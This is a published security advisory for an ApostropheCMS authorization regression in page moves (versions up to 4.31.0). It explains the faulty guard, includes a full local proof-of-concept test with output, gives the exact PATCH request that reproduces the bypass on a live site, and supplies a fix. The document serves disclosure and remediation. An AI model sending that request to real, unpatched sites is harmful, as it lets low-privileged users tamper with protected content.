GHSA-wr5r-wqp2-x4fh: Medium severity npm/apostrophe vulnerability

Published Sep 3, 2026
·
Updated

Summary ApostropheCMS enforces per-type authorization on pages: a page type may declare editRole / publishRole (and the core @apostrophecms/archive-page does), so a project can have page-type subtrees that only higher-privileged roles are allowed to create or edit within. The move() operation is supposed to enforce that a page may only be moved into a parent the actor has create rights over — this is the same boundary the page-insert route enforces (the insert target is fetched with .permission('create')).

A regression in the move authorization guard silently disabled that destination check for every normal move. The guard now reads (oldParent.id !== parent.id) && (parent.type !== '@apostrophecms/archive-page') && (!parent.create) && (oldParent.type === '@apostrophecms/archive-page' && !parent.edit). Because the final && clause requires oldParent.type === '@apostrophecms/archive-page', the whole conjunction can only be true while restoring a page out of the archive. For any ordinary move (the source page's old parent is a normal page), that clause is false, the entire condition is false, and !parent.create is never evaluated. The only surviving gate in the whole path is moved.edit — i.e. "can the actor edit the page being moved", which a low-privileged editor legitimately holds for their own ordinary pages.

The result is that any authenticated user who can edit at least one page can relocate that page under a parent of a restricted type they have no create/edit rights over, and in doing so trigger an unauthenticated, unchecked updateMany that re-ranks the restricted parent's existing children (documents the actor cannot edit). This is reachable directly from the documented PATCH/PUT /api/v1/@apostrophecms/page/:id REST routes via the attacker-controlled targetId / position body fields.

Affected code (4.31.0)

The broken guard in move() — packages/apostrophe/modules/@apostrophecms/page/index.js:

js if (!moved.edit) { throw self.apos.error('forbidden'); } if (!(parent && oldParent)) { // Move outside tree throw self.apos.error('forbidden'); } if ( (oldParent.id !== parent.id) && (parent.type !== '@apostrophecms/archive-page') && (!parent.create) && (oldParent.type === '@apostrophecms/archive-page' && !parent.edit) // <-- regression: gates the whole check on "moving out of the archive" ) { throw self.apos.error('forbidden'); }

The target/parent is fetched with permission filtering explicitly OFF (so the guard above is the only thing that is supposed to enforce destination authorization) — getTarget():

js const target = await self.findForEditing(req, criteria) .permission(false) // target is located regardless of the actor's rights .archived(null) .areas(false) .ancestors({ depth: 1, ... permission: false }) .children({ depth: 1, ... permission: false }).toObject();

The privileged sink that then runs unguarded — nudgeNewPeers() re-ranks the destination parent's existing children with a raw DB write and no permission check:

js async function nudgeNewPeers() { const locale = moved.aposLocale.split(':')[0]; const criteria = { path: self.matchDescendants(parent), aposLocale: { $in: [ ${locale}:draft, ${locale}:published ] }, level: parent.level + 1, rank: { $gte: rank } }; // Nudge down the pages that should now follow us await self.apos.doc.db.updateMany(criteria, { $inc: { rank: 1 } }); ... }

The REST entry point — the patch route reaches move() after only the moved.edit gate, with attacker-controlled targetId / position:

js const page = await self.findOneForEditing(req, { id }); ... if (!page.edit) { throw self.apos.error('forbidden'); } ... if (input.targetId) { const targetId = self.apos.launder.string(input.targetId); const position = self.apos.launder.string(input.position); modified = await self.move(req, page.id, targetId, position); }

For comparison, the sibling page-insert route enforces the destination boundary correctly by fetching the target with create-permission filtering, so an actor without create rights under the target gets notfound:

js // post route (insert) const target = await self.getTarget(req, ...).permission('create') ... // restricted target is not found -> insert denied

Provenance (introduced regression) The guard was correct until commit 9f72bd229be07e537a2ae894f4527f2fe6bcd3bd ("allow restore pages"), which changed it from (oldParent.id !== parent.id) && (parent.type !== '@apostrophecms/archive-page') && (!parent.create) to the four-clause version above. The intent was to stop legitimate archive restores (where parent.create can be false) from being wrongly forbidden, but ANDing the new clause onto the existing chain gated the entire create enforcement on oldParent being the archive — silently removing destination authorization for all normal moves. The condition is unchanged at HEAD (4.31.0).

Attacker model / precondition The attacker is a low-privileged but content-editing authenticated user — in the core role model an editor or (in draft mode) a contributor — who can edit at least one ordinary page. No admin rights, no special tokens.

The differentiated-permission boundary that makes this a bypass must exist in the project. In core, permission.can(req, 'create'/'edit', type) is computed per page-type via checkRoleConfig('editRole'), so the boundary is present whenever a project configures a page type (or the archive) with an editRole / publishRole higher than the actor's role, or uses per-page editPermission / the @apostrophecms/workflow add-on to make edit / create page-specific. The core @apostrophecms/archive-page already ships editRole: 'admin' / publishRole: 'admin', and restricted section page types are a standard pattern. On a single-role site where every editor can already edit every page, the boundary does not exist and there is no additional impact — hence Medium, not High, in the general case. Where the boundary exists, this is a cross-boundary tree-restructuring and protected-sibling-mutation bypass.

Impact A user with no create/edit rights over a restricted page-type subtree can:

- Relocate a page they control into that restricted subtree (placing their content beneath an admin-only/role-gated section, changing its URL/slug to inherit the protected branch's path, and altering site structure across an authorization boundary), and - Cause an unchecked updateMany to re-rank the restricted parent's existing children — i.e. mutate (reorder) documents the actor is explicitly not permitted to edit.

This is an integrity / authorization-boundary violation. It does not, by itself, disclose restricted field contents (read access is still filtered elsewhere) — confidentiality impact is None — and it is not a remote code or availability bug. The security consequence is unauthorized modification of protected content structure/ordering and unauthorized placement of content inside a role-gated branch.

Proof of Concept (complete — runs on 127.0.0.1 only)

The PoC uses ApostropheCMS's own test harness (a real Apostrophe instance + MongoDB) to drive the real apos.page.move() code path with a non-admin editor request. It creates an admin-only section page type (editRole: 'admin'), an admin-owned secret section with a pre-existing admin-only child, and an ordinary page an editor may edit; the editor then moves their page under the admin-only section. The move succeeds (it must be forbidden), the page is relocated under the restricted branch, and the protected child is re-ranked.

Environment: Node 24, Docker (for MongoDB). Clone the repo at the anchor and install the workspace with pnpm.

bash 1. Disposable MongoDB on 127.0.0.1 docker run -d --name apos-mongo -p 27017:27017 mongo:7

2. Repo at the anchor git clone https://github.com/apostrophecms/apostrophe.git /tmp/dh-apostrophe cd /tmp/dh-apostrophe git checkout 68f1312d3 # 4.31.0 line npm i -g pnpm pnpm install --filter apostrophe...

3. Drop in the PoC test and run it cd /tmp/dh-apostrophe/packages/apostrophe (write test/poc-move-bac.js below, then:) npx mocha test/poc-move-bac.js

packages/apostrophe/test/poc-move-bac.js:

js // PoC: Broken Access Control in apos.page.move() // A non-admin (editor) can move a page they may edit UNDER a parent page // whose type is admin-only (editRole: 'admin'), bypassing the destination // "create" permission check that move() is supposed to enforce. const t = require('../test-lib/test.js'); const assert = require('assert');

describe('PoC move BAC', function() { let apos; this.timeout(t.timeout);

after(async function() { await t.destroy(apos); apos = null; });

before(async function() { apos = await t.create({ root: module, modules: { // A restricted page type: only admins may edit/create pages of this type. 'secret-page': { extend: '@apostrophecms/page-type', options: { editRole: 'admin', publishRole: 'admin' } }, // An ordinary page type any editor can edit/create. 'public-page': { extend: '@apostrophecms/page-type' }, '@apostrophecms/page': { options: { park: [], types: [ { name: '@apostrophecms/home-page', label: 'Home' }, { name: 'secret-page', label: 'Secret' }, { name: 'public-page', label: 'Public' } ] } } } }); });

it('demonstrates the BAC', async function() { const adminReq = apos.task.getReq({ role: 'admin' }); const home = await apos.page.find(adminReq, { level: 0 }).toObject();

// Admin creates an admin-only "secret" section page directly under home. const secret = await apos.page.insert(adminReq, home.id, 'lastChild', { title: 'Secret Section', type: 'secret-page', slug: '/secret' });

// Admin creates a pre-existing CHILD inside the secret section. Its rank // must NOT be silently rewritten by a lower-priv user's move. const secretChild = await apos.page.insert(adminReq, secret.id, 'lastChild', { title: 'Secret Child', type: 'secret-page', slug: '/secret/child' }); const secretChildBefore = await apos.page.find(adminReq, { id: secretChild.id }).toObject();

// A non-admin EDITOR. Editors can edit/create ordinary pages but NOT // pages of type secret-page (editRole: admin). const editorReq = apos.task.getReq({ role: 'editor', user: { id: 'editor-user', title: 'Editor', role: 'editor' } });

// The editor creates an ordinary page under home (allowed). const mine = await apos.page.insert(editorReq, home.id, 'lastChild', { title: 'My Page', type: 'public-page', slug: '/mine' });

// Sanity: confirm the editor genuinely lacks create/edit rights on the // secret section (so a move under it MUST be forbidden). const secretForEditor = await apos.page.find(editorReq, { id: secret.id }) .permission(false).toObject(); console.log('PRECONDITION editor.create on secret =', secretForEditor.create, ' editor.edit on secret =', secretForEditor.edit); assert.strictEqual(secretForEditor.create, undefined, 'precondition: editor must NOT have create rights on the admin-only section');

// THE ATTACK: editor moves their ordinary page UNDER the admin-only // secret section. This SHOULD throw "forbidden". If it succeeds, BAC. // Use 'firstChild' so the moved page takes rank 0 and the pre-existing // admin-only child must be nudged from rank 0 -> 1 (a write to a doc the // editor cannot edit). let moveError = null; try { await apos.page.move(editorReq, mine.id, secret.id, 'firstChild'); } catch (e) { moveError = e; }

const moved = await apos.page.find(adminReq, { id: mine.id }).toObject(); const secretChildAfter = await apos.page.find(adminReq, { id: secretChild.id }).toObject();

console.log('move threw:', moveError ? moveError.name : 'NOTHING (move succeeded)'); console.log('moved page path:', moved && moved.path); console.log('moved page is now under secret?', moved && moved.path.includes(secret.aposDocId)); console.log('secret child rank BEFORE:', secretChildBefore.rank, ' AFTER:', secretChildAfter.rank);

// Assertions that prove the vulnerability: assert.strictEqual(moveError, null, 'VULN NOT PRESENT: move was correctly forbidden'); assert.ok(moved.path.includes(secret.aposDocId), 'VULN: editor relocated their page under the admin-only section'); assert.notStrictEqual(secretChildAfter.rank, secretChildBefore.rank, 'VULN: editor re-ranked an admin-only sibling page they cannot edit');

console.log('\n BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children '); }); });

Observed output (4.31.0, commit 68f1312d3):

PoC move BAC Listening at http://localhost:34129 PRECONDITION editor.create on secret = undefined editor.edit on secret = undefined move threw: NOTHING (move succeeded) moved page path: iqhgqffcpe3iwoe7qqvr79rx/l0ua8mfilcfdp38vduhj4684/szhq36qak65mnefb5va1cv4d moved page is now under secret? true secret child rank BEFORE: 0 AFTER: 1

BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ✔ demonstrates the BAC (390ms)

1 passing (6s)

The precondition holds (editor.create on secret = undefined), the move did not throw (NOTHING), the editor's page is now physically under the admin-only section's path, and the protected sibling's rank was rewritten (0 → 1) by the editor's request. In a deployed site the identical effect is reachable over HTTP by a logged-in non-admin via PATCH /api/v1/@apostrophecms/page/<myPageId>:en:draft with body { "targetId": "<restrictedSectionId>:en:draft", "position": "firstChild" } (the route reaches move() after only the page.edit gate on the moved page).

Remediation Restore destination-parent authorization for all non-archive moves and special-case only the archive-restore path. Replace the broken guard with logic equivalent to:

js if ( (oldParent.id !== parent.id) && (parent.type !== '@apostrophecms/archive-page') && (!parent.create) && !(oldParent.type === '@apostrophecms/archive-page' && parent.edit) ) { throw self.apos.error('forbidden'); }

That is: a cross-parent move into a non-archive destination is forbidden unless the actor has create on the destination — with the single exception that restoring a page out of the archive into a destination the actor may edit is allowed. Equivalently, fetch the destination with .permission('create') (as the insert route does) and reject when it is not returned. Add a regression test asserting that a non-admin cannot move a page under a parent whose type carries a higher editRole/publishRole, mirroring the PoC above.

Please credit 5ud0 / Tarmo Technologies.

Affected Software

1 affected componentFixes available
npm/apostrophe<=4.31.0
4.32.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/apostrophe to a version that resolves this vulnerability.

    Fixed in 4.32.0

Event History

Sep 3, 2026
Advisory Published
via GitHub·08:05 PM
Data Sourced
via GitHub·08:05 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What access does an attacker need to exploit this issue?

The issue is remotely exploitable by an authenticated, low-privileged actor who can perform a normal page move. It does not require user interaction.

2

Which page moves are affected by the authorization regression?

Ordinary moves from a page with a normal parent do not enforce create permission on the destination parent. The destination authorization check can still be reached when restoring a page out of the archive, because that is the only case in which the affected guard's final condition can be true.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203